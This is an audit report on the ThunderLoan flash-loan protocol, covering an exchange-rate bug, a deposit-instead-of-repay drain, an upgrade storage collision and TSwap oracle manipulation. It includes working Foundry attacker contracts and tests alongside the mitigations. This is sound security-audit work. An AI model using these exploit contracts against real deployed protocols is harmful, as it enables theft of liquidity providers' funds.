ThunderLoan Protocol Audit Report

Version 1.0

Abdullah Amr

July 14, 2026

Prepared by: Abdullah Amr

Lead Auditor:

- Abdullah Amr

Table of Contents

- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
  - Audit Scope
  - Roles
- Executive Summary
  - Issues Found
- Findings
  - High
  - Medium
  - Informational

Protocol Summary

The ThunderLoan protocol is designed to provide flash loans and allow liquidity providers to earn yield on deposited assets.

Liquidity providers deposit supported ERC20 assets into `ThunderLoan` and receive `AssetToken` shares in return. These shares represent the liquidity provider's claim on the underlying assets and accrued fees.

A flash loan is a loan that must be borrowed and repaid within the same transaction. If the borrower does not return the borrowed amount plus the required fee before the transaction completes, the transaction reverts.

ThunderLoan calculates flash-loan fees using a price oracle based on TSwap pool pricing.

Disclaimer

The Abdullah Amr team made every effort to identify as many vulnerabilities as possible within the given time period. However, this report does not guarantee that all vulnerabilities were found.

A security audit is not an endorsement of the underlying business or product. The review was time-boxed and focused only on the security aspects of the Solidity implementation of the contracts in scope.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

Severity is evaluated using the CodeHawks severity matrix.

Audit Details

Audit Scope

The following smart contracts were included in the security assessment:

```
src/interfaces/IFlashLoanReceiver.sol
src/interfaces/IPoolFactory.sol
src/interfaces/ITSwapPool.sol
src/interfaces/IThunderLoan.sol
src/protocol/AssetToken.sol
src/protocol/OracleUpgradeable.sol
src/protocol/ThunderLoan.sol
src/upgradedProtocol/ThunderLoanUpgraded.sol
```

Solidity Version: `0.8.20`

Target Chain: Ethereum

Supported Tokens: ERC20 tokens, including USDC, DAI, LINK, and WETH.

Roles

Owner

The protocol owner has privileged permissions to perform administrative actions, including allowing supported tokens, updating the flash-loan fee, and authorizing implementation upgrades.

Liquidity Provider

A liquidity provider deposits supported assets into the protocol and receives `AssetToken` shares representing their claim on the underlying assets and accrued fees.

Flash-Loan Borrower / User

A user or contract that borrows assets through the flash-loan mechanism and must repay the borrowed amount plus the required fee within the same transaction.

Flash-Loan Receiver

A contract that receives flash-loaned assets and executes custom logic through the `executeOperation` callback.

Executive Summary

The audit was performed using manual review and Foundry-based testing, including unit tests, security research, ERC20 edge-case review, decimal precision analysis, and upgradeability review.

The review included:

- Manual inspection of the Solidity codebase
- Foundry unit testing
- Review of access control assumptions
- Review of upgradeability and storage-layout assumptions
- Review of flash-loan repayment accounting
- Review of oracle and pricing assumptions
- Review of NatSpec comments and documentation

Issues Found

Severity	Number of Issues
High	3
Medium	1
Low	0
Informational	7
Total	11

Findings

High

[H-1] Incorrect exchange-rate update in `ThunderLoan::deposit` inflates liabilities and can block redemptions

Description: The `ThunderLoan::deposit` function incorrectly updates the `AssetToken` exchange rate during a normal liquidity deposit.

The exchange rate is intended to increase when the protocol earns flash-loan fees. However, `deposit()` calls `getCalculatedFee()` and then updates the exchange rate even though no flash-loan fee has been collected.

```
1  function deposit(IERC20 token, uint256 amount)
2      external
3      revertIfZero(amount)
4      revertIfNotAllowedToken(token)
5  {
6      AssetToken assetToken = s_tokenToAssetToken[token];
7      uint256 exchangeRate = assetToken.getExchangeRate();
8      uint256 mintAmount =
9          (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
10
11     emit Deposit(msg.sender, token, amount);
12
13     assetToken.mint(msg.sender, mintAmount);
14
15     uint256 calculatedFee = getCalculatedFee(token, amount);
16 @-> assetToken.updateExchangeRate(calculatedFee);
```

```
17
18      token.safeTransferFrom(msg.sender, address(assetToken), amount);
19  }
```

This causes the protocol to account for more redeemable underlying tokens than it actually holds.

Impact: Deposits incorrectly increase the exchange rate even though no flash-loan fee has been earned. This can cause the protocol to believe that liquidity providers are owed more underlying assets than the protocol actually holds.

This can result in:

- Incorrectly inflated exchange rates.
- Incorrect share valuation for liquidity providers.
- Redemptions reverting due to insufficient underlying balance.
- Protocol accounting becoming inconsistent with actual token balances.

Proof of Concept: Add the following test to `ThunderLoanTest.t.sol`:

Code

```
1  function testRedeemCanBeBlockedByIncorrectExchangeRateUpdate()
2      public
3      setAllowedToken
4      hasDeposits
5  {
6      uint256 amountToBorrow = AMOUNT * 10;
7      uint256 fee = thunderLoan.getCalculatedFee(tokenA, amountToBorrow);
8
9      vm.startPrank(user);
10     tokenA.mint(address(mockFlashLoanReceiver), fee);
11     thunderLoan.flashloan(
12         address(mockFlashLoanReceiver),
13         tokenA,
14         amountToBorrow,
15         ""
16     );
17     vm.stopPrank();
18
19     vm.prank(liquidityProvider);
20     vm.expectRevert();
21     thunderLoan.redeem(tokenA, type(uint256).max);
22 }
```

Recommended Mitigation: Remove the exchange-rate update from `deposit()` and only update the exchange rate when actual flash-loan fees are earned.

```
1  function deposit(IERC20 token, uint256 amount)
2      external
```

```
3       revertIfZero(amount)
4       revertIfNotAllowedToken(token)
5   {
6       AssetToken assetToken = s_tokenToAssetToken[token];
7       uint256 exchangeRate = assetToken.getExchangeRate();
8       uint256 mintAmount =
9           (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
10
11      emit Deposit(msg.sender, token, amount);
12
13      assetToken.mint(msg.sender, mintAmount);
14  -   uint256 calculatedFee = getCalculatedFee(token, amount);
15  -   assetToken.updateExchangeRate(calculatedFee);
16      token.safeTransferFrom(msg.sender, address(assetToken), amount);
17  }
```

[H-2] Borrowers can use `deposit()` as flash-loan repayment and receive redeemable shares

Description: `ThunderLoan::flashloan` verifies repayment by checking whether the underlying token balance of the corresponding `AssetToken` contract increased by at least the required fee after the borrower's callback.

However, the protocol does not distinguish between tokens returned as flash-loan repayment and tokens transferred into the `AssetToken` through `ThunderLoan::deposit`.

An attacker can call `deposit()` during the flash-loan callback using the borrowed amount plus the required fee. This restores the `AssetToken` balance enough for the flash-loan repayment check to pass, while also minting redeemable `AssetToken` shares to the attacker.

After the flash loan completes, the attacker can redeem those shares and withdraw the same tokens that were treated as repayment.

As a result, the same tokens are incorrectly treated as both:

- Flash-loan repayment.
- A new liquidity deposit owned by the attacker.

This allows an attacker to drain protocol liquidity and causes losses for existing liquidity providers.

Vulnerability Details: The repayment logic is based on a raw balance comparison similar to the following:

```
1  uint256 startingBalance = token.balanceOf(address(assetToken));
2
```

```
3  receiver.executeOperation(
4      address(token),
5      amount,
6      fee,
7      msg.sender,
8      params
9  );
10
11 uint256 endingBalance = token.balanceOf(address(assetToken));
12
13 if (endingBalance < startingBalance + fee) {
14     revert ThunderLoan__NotPaidBack(startingBalance + fee,
           endingBalance);
15 }
```

This only confirms that the `AssetToken` balance increased sufficiently. It does not verify how the tokens entered the `AssetToken` contract.

During the callback, an attacker can call:

```
1  thunderLoan.deposit(token, amount + fee);
```

The `deposit()` function transfers tokens into the `AssetToken` and mints shares to the depositor:

```
1  assetToken.mint(msg.sender, mintAmount);
2  token.safeTransferFrom(msg.sender, address(assetToken), amount);
```

Therefore, calling `deposit()` during the callback:

1. Transfers the borrowed amount plus fee into the `AssetToken`.
2. Restores the balance expected by the flash-loan repayment check.
3. Mints redeemable shares to the attacker.
4. Allows the attacker to redeem those shares after the flash loan completes.

The root accounting issue is that an `AssetToken` balance increase does not necessarily represent repayment. A normal deposit also increases the same balance, but it creates a corresponding withdrawal claim.

Attack Scenario: Assume the protocol has `1,000 tokenA` of liquidity and the attacker borrows `50 tokenA` with a `1 tokenA` fee.

1. The attacker requests a flash loan of `50 tokenA`.
2. The protocol transfers `50 tokenA` to the attack contract.
3. The attacker contributes only the required `1 tokenA` fee.
4. During `executeOperation`, the attacker calls `deposit(tokenA, 51e18)`.
5. The deposit transfers `51 tokenA` into the `AssetToken`.
6. The repayment balance check passes.

7. The attacker receives redeemable `AssetToken` shares for the deposit.
8. After the flash loan completes, the attacker redeems those shares.
9. The attacker withdraws funds that were already accepted as flash-loan repayment.

Impact: An attacker can receive flash-loaned assets, use them to mint deposit shares, satisfy the repayment balance check, and later redeem the shares.

This can result in:

- Theft of protocol liquidity.
- Losses for existing liquidity providers.
- Flash loans being repaid with assets that remain withdrawable by the borrower.
- Incorrect protocol accounting.
- Creation of improperly backed deposit shares.
- Repeated exploitation until available liquidity is significantly depleted.

The attack requires only enough initial capital to cover the flash-loan fee. The principal used for the deposit is obtained directly from the flash loan.

Because the attack is permissionless, atomic, and can cause direct loss of user funds, this issue is classified as High severity.

Proof of Concept: The following test demonstrates that a borrower can call `deposit()` instead of using a dedicated repayment mechanism and subsequently redeem the resulting shares.

Code

```
function testDepositInsteadOfRepay()
    public
    setAllowedToken
    hasDeposits
{
    vm.startPrank(user);

    uint256 borrowAmount = 50e18;
    uint256 fee = thunderLoan.getCalculatedFee(tokenA, borrowAmount);

    DepositInsteadOfRepay attacker =
        new DepositInsteadOfRepay(address(thunderLoan));

    // The attacker only provides the required fee.
    tokenA.mint(address(attacker), fee);

    AssetToken assetToken = thunderLoan.getAssetFromToken(tokenA);

    uint256 protocolBalanceBefore = tokenA.balanceOf(address(assetToken
        ));

```

```
        thunderLoan.flashloan(
            address(attacker),
            tokenA,
            borrowAmount,
            ""
        );

        uint256 attackerShares = assetToken.balanceOf(address(attacker));

        // The deposit performed during the callback minted
        // redeemable shares to the attacker.
        assertGt(attackerShares, 0);

        attacker.redeemMoney();

        uint256 protocolBalanceAfter = tokenA.balanceOf(address(assetToken)
            );
        uint256 attackerBalanceAfter = tokenA.balanceOf(address(attacker));

        console.log("Protocol balance before:", protocolBalanceBefore);
        console.log("Protocol balance after:", protocolBalanceAfter);
        console.log("Attacker balance after:", attackerBalanceAfter);

        // The attacker ends with more tokens than the fee
        // initially supplied.
        assertGt(attackerBalanceAfter, fee);

        // The protocol loses underlying liquidity after
        // the attacker redeems the shares.
        assertLt(protocolBalanceAfter, protocolBalanceBefore);

        vm.stopPrank();
    }
```

The malicious receiver performs a deposit during the flash-loan callback:

```
contract DepositInsteadOfRepay {
    ThunderLoan public immutable thunderLoan;

    IERC20 public borrowedToken;
    AssetToken public assetToken;

    constructor(address _thunderLoan) {
        thunderLoan = ThunderLoan(_thunderLoan);
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address,
```

```
16          bytes calldata
17      )
18          external
19          returns (bool)
20      {
21          require(msg.sender == address(thunderLoan), "Unauthorized
                caller");
22
23          borrowedToken = IERC20(token);
24          assetToken = thunderLoan.getAssetFromToken(IERC20(token));
25
26          IERC20(token).approve(address(thunderLoan), amount + fee);
27
28          // The protocol treats this balance increase as repayment,
29          // while the attacker receives redeemable deposit shares.
30          thunderLoan.deposit(IERC20(token), amount + fee);
31
32          return true;
33      }
34
35      function redeemMoney() external {
36          uint256 shares = assetToken.balanceOf(address(this));
37          thunderLoan.redeem(borrowedToken, shares);
38      }
39  }
```

Root Cause: `ThunderLoan::flashloan` uses a raw balance comparison as proof of repayment.

The protocol assumes:

```
1  ending balance >= starting balance + fee
```

means:

```
1  the borrower repaid the principal and fee
```

This assumption is invalid because other protocol operations, especially `deposit()`, can increase the same balance while also creating redeemable claims against those assets.

Recommended Mitigation: Implement a dedicated repayment mechanism and explicitly track the amount repaid during each flash loan.

A simple additional defense is to block deposits for a token while that token is currently being flash-loaned:

```
1  function deposit(IERC20 token, uint256 amount)
2      external
3      revertIfZero(amount)
4      revertIfNotAllowedToken(token)
5  {
```

```
+    if (s_currentlyFlashLoaning[token]) {
+        revert ThunderLoan__CannotDepositDuringFlashLoan();
+    }

     AssetToken assetToken = s_tokenToAssetToken[token];
     ...
}
```

The stronger fix is to require repayment through a dedicated `repay()` path and track repayments explicitly:

```
+ mapping(IERC20 token => uint256 amount) private s_amountRepaid;
```

The flash-loan function should reset repayment accounting before calling the receiver:

```
function flashloan(
    address receiverAddress,
    IERC20 token,
    uint256 amount,
    bytes calldata params
)
    external
{
    AssetToken assetToken = s_tokenToAssetToken[token];
    uint256 startingBalance = IERC20(token).balanceOf(address(
        assetToken));

    if (amount > startingBalance) {
        revert ThunderLoan__NotEnoughTokenBalance(startingBalance,
            amount);
    }

    if (receiverAddress.code.length == 0) {
        revert ThunderLoan__CallerIsNotContract();
    }

    uint256 fee = getCalculatedFee(token, amount);
    assetToken.updateExchangeRate(fee);

    emit FlashLoan(receiverAddress, token, amount, fee, params);

    s_currentlyFlashLoaning[token] = true;
+   s_amountRepaid[token] = 0;

    assetToken.transferUnderlyingTo(receiverAddress, amount);

    receiverAddress.functionCall(
        abi.encodeCall(
            IFlashLoanReceiver.executeOperation,
            (
                address(token),
```

```
                amount,
                fee,
                msg.sender,
                params
            )
        )
    );

-   uint256 endingBalance = token.balanceOf(address(assetToken));
-
-   if (endingBalance < startingBalance + fee) {
-       revert ThunderLoan__NotPaidBack(startingBalance + fee,
    endingBalance);
-   }
+   if (s_amountRepaid[token] < amount + fee) {
+       revert ThunderLoan__NotPaidBack(amount + fee, s_amountRepaid[
    token]);
+   }

    s_currentlyFlashLoaning[token] = false;
+   s_amountRepaid[token] = 0;
}
```

The `repay()` function should only accept repayments while a flash loan for that token is active:

```
function repay(IERC20 token, uint256 amount) external {
    if (!s_currentlyFlashLoaning[token]) {
        revert ThunderLoan__NotCurrentlyFlashLoaning();
    }

+   s_amountRepaid[token] += amount;

    AssetToken assetToken = s_tokenToAssetToken[token];

    token.safeTransferFrom(
        msg.sender,
        address(assetToken),
        amount
    );
}
```

Suggested Invariant: Tokens counted as flash-loan repayment must not create redeemable shares or any other withdrawal claim for the borrower.

A balance increase should only count as repayment when it was recorded through the authorized flash-loan repayment path.

[H-3] Storage collision during upgrade corrupts flash-loan fee accounting

Description: `ThunderLoan` stores variables in the following order:

```
uint256 private s_feePrecision;
uint256 private s_flashLoanFee;
mapping(IERC20 token => bool currentlyFlashLoaning) private
    s_currentlyFlashLoaning;
```

However, the upgraded implementation changes the storage layout:

```
uint256 private s_flashLoanFee;
uint256 public constant FEE_PRECISION = 1e18;
mapping(IERC20 token => bool currentlyFlashLoaning) private
    s_currentlyFlashLoaning;
```

This breaks upgrade storage compatibility. In proxy-based upgradeable contracts, storage belongs to the proxy, while the implementation only defines how those storage slots are interpreted. Existing storage variables must not be reordered, removed, or replaced with constants.

After the upgrade, `s_flashLoanFee` reads from the storage slot previously used by `s_feePrecision`. As a result, the flash-loan fee becomes corrupted.

Additionally, because one storage variable was removed and replaced with a constant, later variables can also shift storage slots, corrupting other protocol state.

Impact: After the upgrade, the protocol can misinterpret existing storage values. This can cause:

- Incorrect flash-loan fee accounting.
- Unexpected fee increases or decreases.
- Incorrect protocol behavior after upgrade.
- Potential corruption of later storage variables.
- Broken assumptions in functions that depend on storage values.

Because upgradeable contracts depend on strict storage-layout compatibility, this issue can permanently corrupt the proxy's state after upgrade.

Proof of Concept: Add the following test to `ThunderLoanTest.t.sol`:

Code

```
import { ThunderLoanUpgraded } from "../../src/upgradedProtocol/
    ThunderLoanUpgraded.sol";

function testStorageCollisionCorruptsFee() public {
    uint256 feeBefore = thunderLoan.getFee();

    vm.startPrank(thunderLoan.owner());
```

```
7       ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded();
8       thunderLoan.upgradeToAndCall(address(upgraded), "");
9       uint256 feeAfter = thunderLoan.getFee();
10      vm.stopPrank();
11
12      console.log("Fee before upgrade:", feeBefore);
13      console.log("Fee after upgrade:", feeAfter);
14
15      assertNotEq(feeBefore, feeAfter);
16  }
```

You can also inspect the storage layout differences using:

```
1  forge inspect ThunderLoan storage
2  forge inspect ThunderLoanUpgraded storage
```

Recommended Mitigation: Never reorder, remove, or replace existing storage variables in an upgraded implementation. Preserve the original storage layout and append new variables only after the existing variables.

For example:

```
1  - uint256 private s_flashLoanFee;
2  - uint256 public constant FEE_PRECISION = 1e18;
3  + uint256 private s_feePrecision; // retained for storage compatibility
4  + uint256 private s_flashLoanFee;
5  + uint256 public constant FEE_PRECISION = 1e18;
```

Alternatively, if the original variable is no longer used, keep the storage slot with a clearly named deprecated variable:

```
1  uint256 private __deprecated_feePrecision;
2  uint256 private s_flashLoanFee;
3  uint256 public constant FEE_PRECISION = 1e18;
```

For future upgrades, consider using OpenZeppelin's upgrade safety tools or Foundry storage-layout checks before deploying an implementation upgrade.

Medium

[M-1] Flash-loan borrowers can manipulate the TSwap price oracle to reduce borrowing fees

Description: `ThunderLoan::getCalculatedFee` calculates the flash-loan fee using the current token price obtained from the associated TSwap liquidity pool.

Because the protocol relies on the pool's instantaneous reserve ratio as a price oracle, a borrower can manipulate the token price during an active flash loan and then request another flash loan at an artificially reduced fee.

This allows borrowers to obtain flash loans more cheaply than intended and causes the protocol and its liquidity providers to lose fee revenue.

Vulnerability Details: The flash-loan fee depends on the token price returned by the TSwap pool. A TSwap pool derives its price directly from its current token reserves. These reserves can be modified through swaps within the same transaction.

An attacker can therefore perform the following sequence:

1. Borrow tokens from `ThunderLoan`.
2. Use part of the borrowed tokens to execute a large swap in the associated TSwap pool.
3. Manipulate the pool reserves and reduce the oracle-reported value of the borrowed token.
4. Request a second nested flash loan while the manipulated price is active.
5. Pay a lower fee on the second flash loan.
6. Repay both loans before the transaction completes.

Since all actions occur atomically, the attacker does not need to maintain the manipulated price across multiple transactions.

The vulnerable design is conceptually equivalent to:

```
uint256 valueOfBorrowedToken =
    (amount * getPriceInWeth(address(token))) / s_feePrecision;

fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision;
```

If `getPriceInWeth()` reads the current reserves of a low-liquidity AMM pool, the borrower can directly influence the value used in the fee calculation.

Impact: An attacker can repeatedly obtain flash loans while paying fees lower than the amount intended by the protocol.

This results in:

- Loss of protocol fee revenue.
- Reduced yield for liquidity providers.
- Incorrect accounting assumptions around flash-loan profitability.
- Potential large-scale fee avoidance through repeated or nested flash loans.
- Greater manipulation impact when the oracle pool has low liquidity.

Because the manipulation can be performed using the protocol's own flash-loaned capital and completed atomically, the attack requires limited upfront capital.

Proof of Concept: The following test demonstrates the attack:

Code

```
function testOracleManipulation() public {
    thunderLoan = new ThunderLoan();
    weth = new ERC20Mock();
    tokenA = new ERC20Mock();

    BuffMockPoolFactory pf = new BuffMockPoolFactory(address(weth));
    address tSwapPool = pf.createPool(address(tokenA));

    proxy = new ERC1967Proxy(address(thunderLoan), "");
    thunderLoan = ThunderLoan(address(proxy));
    thunderLoan.initialize(address(pf));

    vm.startPrank(liquidityProvider);

    tokenA.mint(liquidityProvider, 100e18);
    weth.mint(liquidityProvider, 100e18);

    tokenA.approve(tSwapPool, 100e18);
    weth.approve(tSwapPool, 100e18);

    BuffMockTSwap(tSwapPool).deposit(
        100e18,
        100e18,
        100e18,
        block.timestamp
    );

    vm.stopPrank();

    vm.prank(thunderLoan.owner());
    thunderLoan.setAllowedToken(tokenA, true);

    vm.startPrank(liquidityProvider);

    tokenA.mint(liquidityProvider, 1000e18);
    tokenA.approve(address(thunderLoan), 1000e18);
    thunderLoan.deposit(tokenA, 1000e18);

    vm.stopPrank();

    uint256 normalFee = thunderLoan.getCalculatedFee(tokenA, 100e18);
    uint256 amountToBorrow = 50e18;

    MaliciousFlashLoanReceiver maliciousReceiver =
        new MaliciousFlashLoanReceiver(
            address(thunderLoan),
            address(thunderLoan.getAssetFromToken(tokenA)),
```

```
            tSwapPool
        );

    tokenA.mint(address(maliciousReceiver), 98e18);

    thunderLoan.flashloan(
        address(maliciousReceiver),
        tokenA,
        amountToBorrow,
        ""
    );

    uint256 manipulatedFees =
        maliciousReceiver.feesOne() + maliciousReceiver.feesTwo();

    assertLt(manipulatedFees, normalFee);
}
```

The malicious receiver manipulates the oracle during the first callback and initiates a nested flash loan:

```
contract MaliciousFlashLoanReceiver {
    ThunderLoan public thunderLoan;
    address public repayAddress;
    BuffMockTSwap public tSwapPool;

    bool public attacked;

    uint256 public feesOne;
    uint256 public feesTwo;

    constructor(
        address _thunderLoan,
        address _repayAddress,
        address _tSwapPool
    ) {
        thunderLoan = ThunderLoan(_thunderLoan);
        repayAddress = _repayAddress;
        tSwapPool = BuffMockTSwap(_tSwapPool);
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address,
        bytes calldata
    ) external returns (bool) {
        require(msg.sender == address(thunderLoan), "Unauthorized
            caller");

```

```
30          if (!attacked) {
31              feesOne = fee;
32              attacked = true;
33
34              uint256 wethBought =
35                  tSwapPool.getOutputAmountBasedOnInput(
36                      50e18,
37                      100e18,
38                      100e18
39                  );
40
41              IERC20(token).approve(address(tSwapPool), 50e18);
42
43              tSwapPool.swapPoolTokenForWethBasedOnInputPoolToken(
44                  50e18,
45                  wethBought,
46                  block.timestamp
47              );
48
49              thunderLoan.flashloan(
50                  address(this),
51                  IERC20(token),
52                  amount,
53                  ""
54              );
55
56              IERC20(token).transfer(repayAddress, amount + fee);
57          } else {
58              feesTwo = fee;
59              IERC20(token).transfer(repayAddress, amount + fee);
60          }
61
62          return true;
63      }
64  }
```

Proof of Results: Before manipulation, the TSwap pool contains:

```
1  100 tokenA
2  100 WETH
```

This represents an approximate `1 tokenA = 1 WETH` spot price.

The attacker swaps `50 tokenA` into the pool, changing the reserve ratio. As a result, the pool reports `tokenA` as being worth less in WETH terms.

The first flash loan is charged using the original price, while the nested flash loan is charged using the manipulated price.

Consequently:

```
feesOne + feesTwo < getCalculatedFee(tokenA, 100e18);
```

Even though the attacker borrows a total of `100 tokenA`, the combined fee is lower than the normal fee for borrowing the same total amount.

Recommended Mitigation: Do not use the instantaneous reserve ratio of a single AMM pool as a price oracle.

Instead, use a manipulation-resistant oracle such as:

- A Chainlink price feed.
- A time-weighted average price oracle.
- A protocol-controlled oracle with sufficient observation history.
- A median price aggregated from multiple independent markets.

For example:

```
function getCalculatedFee(
    IERC20 token,
    uint256 amount
)
    public
    view
    returns (uint256 fee)
{
    uint256 tokenPrice = oracle.getPrice(address(token));

    uint256 valueOfBorrowedToken =
        (amount * tokenPrice) / 1e18;

    fee =
        (valueOfBorrowedToken * s_flashLoanFee) / FEE_PRECISION;
}
```

The oracle should also validate:

- Price freshness.
- Non-zero answers.
- Supported token decimals.
- Oracle heartbeat.
- Sequencer status on applicable L2 networks.

Alternatively, if the protocol does not require value-based fees, calculate the fee directly from the borrowed token amount:

```
fee = (amount * s_flashLoanFee) / FEE_PRECISION;
```

This removes the external price dependency entirely and prevents AMM reserve manipulation from affecting flash-loan fees.

Informational

[I-1] Centralization risk

Contracts have owners with privileged rights to perform admin tasks and therefore require users to trust that the owner will not perform malicious upgrades or harmful administrative changes.

6 Found Instances

- Found in src/protocol/ThunderLoan.sol [Line: 248]

```
function setAllowedToken(IERC20 token, bool allowed)
    external
    onlyOwner
    returns (AssetToken)
```

- Found in src/protocol/ThunderLoan.sol [Line: 274]

```
function updateFlashLoanFee(uint256 newFee) external onlyOwner
```

- Found in src/protocol/ThunderLoan.sol [Line: 301]

```
function _authorizeUpgrade(address newImplementation)
    internal
    override
    onlyOwner
{ }
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol [Line: 238]

```
function setAllowedToken(IERC20 token, bool allowed)
    external
    onlyOwner
    returns (AssetToken)
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol [Line: 264]

```
function updateFlashLoanFee(uint256 newFee) external onlyOwner
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol [Line: 287]

```
function _authorizeUpgrade(address newImplementation)
    internal
    override
    onlyOwner
{ }
```

Recommendation: Consider using a multisig, timelock, or governance-controlled upgrade process for privileged actions.

[I-2] Empty block

The `_authorizeUpgrade` function contains an empty block. Although this is acceptable when the only intended behavior is the `onlyOwner` modifier, explicitly documenting the reason improves readability.

2 Found Instances

- Found in `src/protocol/ThunderLoan.sol` [Line: 301]

```
function _authorizeUpgrade(address newImplementation)
    internal
    override
    onlyOwner
{ }
```

- Found in `src/upgradedProtocol/ThunderLoanUpgraded.sol` [Line: 287]

```
function _authorizeUpgrade(address newImplementation)
    internal
    override
    onlyOwner
{ }
```

Recommendation: Add a short comment or keep the block if required by the upgrade pattern.

[I-3] State change without event

State-changing administrative functions should emit events so off-chain indexers, users, and monitoring systems can track protocol configuration changes.

2 Found Instances

- Found in src/protocol/ThunderLoan.sol [Line: 274]

```
function updateFlashLoanFee(uint256 newFee) external onlyOwner
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol [Line: 264]

```
function updateFlashLoanFee(uint256 newFee) external onlyOwner
```

Recommendation: Emit an event whenever the flash-loan fee is updated.

```
event FlashLoanFeeUpdated(uint256 oldFee, uint256 newFee);
```

[I-4] Address state variable set without zero-address check

Address state variables should be validated before assignment to prevent accidental configuration with `address(0)`.

1 Found Instance

- Found in src/protocol/OracleUpgradeable.sol [Line: 17]

```
s_poolFactory = poolFactoryAddress;
```

Recommendation: Add a zero-address check when assigning `poolFactoryAddress`.

```
if (poolFactoryAddress == address(0)) {
    revert OracleUpgradeable__ZeroAddress();
}
```

[I-5] Unused error

The codebase defines an error that is never used. Unused errors should be removed to improve clarity and reduce maintenance overhead.

2 Found Instances

- Found in src/protocol/ThunderLoan.sol [Line: 84]

```
error ThunderLoan__ExhangeRateCanOnlyIncrease();
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol [Line: 84]

```
error ThunderLoan__ExhangeRateCanOnlyIncrease();
```

Recommendation: Remove unused errors or use them where appropriate.

[I-6] Unused import

The IFlashLoanReceiver.sol interface imports IThunderLoan, but the import is not used.

1 Found Instance

- Found in src/interfaces/IFlashLoanReceiver.sol [Line: 6]

```
import { IThunderLoan } from "./IThunderLoan.sol";
```

Recommendation: Remove the unused import.

[I-7] Public functions not used internally

Functions marked **public** but not used internally can be marked external to clarify intended usage and potentially reduce gas costs when called externally.

6 Found Instances

- Found in src/protocol/ThunderLoan.sol [Line: 239]

```
function repay(IERC20 token, uint256 amount) public
```

- Found in src/protocol/ThunderLoan.sol [Line: 285]

```
function getAssetFromToken(IERC20 token)
    public
    view
    returns (AssetToken)
```

- Found in src/protocol/ThunderLoan.sol [Line: 289]

```
function isCurrentlyFlashLoaning(IERC20 token)
    public
    view
    returns (bool)
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol [Line: 230]

```
function repay(IERC20 token, uint256 amount) public
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol [Line: 275]

```
function getAssetFromToken(IERC20 token)
    public
    view
    returns (AssetToken)
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol [Line: 279]

```
function isCurrentlyFlashLoaning(IERC20 token)
    public
    view
    returns (bool)
```

Recommendation: Mark these functions as `external` if they are not intended to be called internally.